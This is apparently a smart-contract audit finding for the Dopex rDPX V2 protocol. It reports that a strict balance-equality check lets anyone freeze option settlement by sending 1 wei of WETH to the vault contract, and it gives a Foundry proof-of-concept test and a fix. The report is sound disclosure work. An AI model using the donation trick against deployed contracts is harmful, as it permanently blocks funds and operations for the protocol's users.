Dopex - BugzyVonBuggernaut's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L783 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

On settling a PUT option via RdpxV2Core::settle, any WETH loss is subtracted from _totalCollateral in PerpetualAtlanticVaultLP and checked against collateral.balanceOf(address(this)).

Invocation flow: RdpxV2Core::settle -> PerpetualAtlanticVault::settle -> PerpetualAtlanticVaultLP::subtractLoss

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

The issue is with the equality (==) check in require.

Anyone can send 1 wei in WETH directly to the contract and cause a DOS.

Proof of Concept

This test will fail because of weth.transfer(address(vaultLp), 1 wei);.

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..c00ff08 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol
@@ -247,6 +247,32 @@ contract Unit is ERC721Holder, Setup {
     rdpxV2Core.bondWithDelegate(address(this), _amounts, _delegateIds, 0);
   }
 
+  function testSettleDOS() public {
+    rdpxV2Core.bond(5 * 1e18, 0, address(this));
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+
+    (, uint256 rdpxReserve1, ) = rdpxV2Core.getReserveTokenInfo("RDPX");
+    (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+
+    vault.addToContractWhitelist(address(rdpxV2Core));
+    uint256[] memory _ids = new uint256[](1);
+
+    (uint256 strike1, uint256 amount1, ) = vault.optionPositions(0);
+
+    _ids[0] = 0;
+    rdpxPriceOracle.updateRdpxPrice(1e7);
+
+    // send 1 wei directly to vaultLP contract
+    weth.transfer(address(vaultLp), 1 wei);
+    rdpxV2Core.settle(_ids);
+
+    (, uint256 rdpxReserve2, ) = rdpxV2Core.getReserveTokenInfo("RDPX");
+    (, uint256 wethReserve2, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+
+    assertEq(rdpxReserve1 - amount1, rdpxReserve2);
+    assertEq(wethReserve1 + ((amount1 * strike1) / 1e8), wethReserve2);
+  }
+
   function testSettle() public {
     rdpxV2Core.bond(5 * 1e18, 0, address(this));
     rdpxV2Core.bond(1 * 1e18, 0, address(this));

Impact

DOS of RdpxV2Core::settle.

This reason why I have submitted this as High Risk is because even if you try to resolve the imbalance by raising _totalCollateral via PerpetualAtlanticVaultLP::deposit, it won't work because collateral.balanceOf(address(this)) will rise by the same increment. Therefore, the DOS is permanent.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Implement PerpetualAtlanticVaultLP::subtractLoss as follows:

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      (collateral.balanceOf(address(this)) + loss) >= _totalCollateral, 
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

Assessed type

DoS